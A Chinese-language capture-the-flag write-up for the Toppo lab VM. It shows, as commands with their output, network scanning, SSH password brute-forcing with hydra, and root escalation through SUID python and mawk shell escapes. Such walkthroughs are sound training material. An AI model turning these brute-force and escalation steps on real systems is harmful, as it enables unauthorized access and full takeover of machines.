Write-up-Toppo

其他 2019-07-04 13:54:56 阅读次数: 0

title: Write-up-Toppo
date: 2018-10-30 19:44:14
tags: CTF
categories: CTF
---

关于

  • 下载地址：点我

  • 哔哩哔哩：哔哩哔哩

信息收集

  • vmnet8网卡，IP：192.168.131.144，开放web，ssh服务
➜  ~ ip a show dev vmnet8 
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
    inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fec0:8/64 scope link 
       valid_lft forever preferred_lft forever
➜  ~ nmap -sn 192.168.131.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-30 19:46 CST
Nmap scan report for 192.168.131.1
Host is up (0.00055s latency).
Nmap scan report for 192.168.131.144
Host is up (0.00093s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.08 seconds
➜  ~ nmap -T4 -A 192.168.131.144
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-30 20:01 CST
Nmap scan report for 192.168.131.144
Host is up (0.43s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
|   2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
|   256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_  256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          41760/udp  status
|_  100024  1          44661/tcp  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds
  • nikto发现了admin目录还有一个mail目录。
➜  ~ nikto -h http://192.168.131.144/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.131.144
+ Target Hostname:    192.168.131.144
+ Target Port:        80
+ Start Time:         2018-10-30 20:04:51 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1925 0x563f5cf714e80 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2018-10-30 20:05:10 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
  • admin目录里有一个notes.txt文件，这是他以前的密码:/ 12345ted123。而且提到了技术，钓鱼和足球。社工有用。
➜  ~ curl http://192.168.131.144/admin/notes.txt
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

➜  ~

爆破ssh

  • 生成字典爆破ssh，用户名ted，别问我怎么知道的全网都是猜出来的，只能说出题人没给太多的提示，直觉。
  • hydra爆破得到密码为12345ted123
➜  pydictor git:(master) ✗ python pydictor.py -plug scratch http://192.168.131.144/admin/notes.txt
                              _ _      _
              _ __  _   _  __| (_) ___| |_ ___  _ __
             | '_ \| | | |/ _` | |/ __| __/ _ \| '__|
             | |_) | |_| | (_| | | (__| || (_) | |
             | .__/ \__, |\__,_|_|\___|\__\___/|_|
             |_|    |___/                            2.1.1#dev

[+] A total of :11 lines
[+] Store in   :/home/kali-team/Kali-Team/password-recovery/pydictor/results/scratch_214601.txt 
[+] Cost       :0.0451 seconds
➜  pydictor git:(master) ✗ cat results/scratch_214601.txt 
myself
password
12345ted123
outdated
technology
thing
prefer
fishing
watching
soccer
admin

➜  ~ hydra -l ted -P Kali-Team/password-recovery/pydictor/results/scratch_215638.txt ssh://192.168.131.144
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-30 21:57:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 11 tasks per 1 server, overall 11 tasks, 11 login tries (l:1/p:11), ~1 try per task
[DATA] attacking ssh://192.168.131.144:22/
[22][ssh] host: 192.168.131.144   login: ted   password: 12345ted123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-30 21:57:21

提权GetFlag

  • 找开启了SUID权限的应用
ted@Toppo:~$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
  • 找不用root密码就可以用sudo的应用，发现mawk，和Python2.7都不用。
ted@Toppo:~$ cat /etc/sudoers 
ted ALL=(ALL) NOPASSWD: /usr/bin/awk

ted@Toppo:~$
    1. py,
    2. mawk
ted@Toppo:/bin$ python -c 'import pty;pty.spawn("/bin/sh")'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)

ted@Toppo:/bin$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:/bin$ mawk 'BEGIN {system("/bin/sh")}'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)

# cat /root/flag.txt
_________                                  
|  _   _  |                                 
|_/ | | \_|.--.   _ .--.   _ .--.    .--.   
    | |  / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \ 
   _| |_ | \__. | | \__/ | | \__/ || \__. | 
  |_____| '.__.'  | ;.__/  | ;.__/  '.__.'  
                 [__|     [__|              




Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

记录

  • 在测试过程中我发现，Python有root权限，执行bash和执行dash返回的权限不一样，bash返回的是普通权限，而dash返回的是root权限。发了三次朋友圈求助终于明白了。其实bash加参数-p使用Posix模式也可以获取root权限。这里接触到了一个新的知识是POSIX 1003.2规范的标准，有兴趣的可以去搜索一下。我就不在这扯了。估计能写几页。
ted@Toppo:~$ python -c 'import os;os.system("/bin/bash -p")'
bash-4.3# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
bash-4.3# exit
exit
ted@Toppo:~$ python -c 'import os;os.system("/bin/bash")'
bash-4.3$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
bash-4.3$ exit
exit
ted@Toppo:~$ python -c 'import os;os.system("/bin/dash")'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# exit

root      1926  0.0  1.0  10988  5420 ?        Ss   11:05   0:00  \_ sshd: ted [priv]    
ted       1928  0.0  0.7  10988  4088 ?        S    11:05   0:00      \_ sshd: ted@pts/0     
ted       1929  0.0  0.8   6376  4288 pts/0    Ss   11:05   0:00          \_ -bash
root      2011  0.0  1.1   9816  6120 pts/0    S+   11:13   0:00              \_ python -c import pty;pty.spawn("/bin/bash")
ted       2012  0.0  0.6   5448  3528 pts/1    Ss   11:13   0:00                  \_ /bin/bash
ted       2013  0.0  0.4   4768  2548 pts/1    R+   11:13   0:00                      \_ ps aux f
root      1926  0.0  1.0  10988  5420 ?        Ss   11:05   0:00  \_ sshd: ted [priv]    
ted       1928  0.0  0.7  10988  4084 ?        S    11:05   0:00      \_ sshd: ted@pts/0     
ted       1929  0.0  0.8   6376  4288 pts/0    Ss   11:05   0:00          \_ -bash
root      1998  0.0  1.1   9816  6012 pts/0    S+   11:11   0:00              \_ python -c import pty;pty.spawn("/bin/dash")
root      1999  0.0  0.2   2272  1380 pts/1    Ss   11:11   0:00                  \_ /bin/dash
root      2001  0.0  0.4   4768  2416 pts/1    R+   11:12   0:00                      \_ ps aux f

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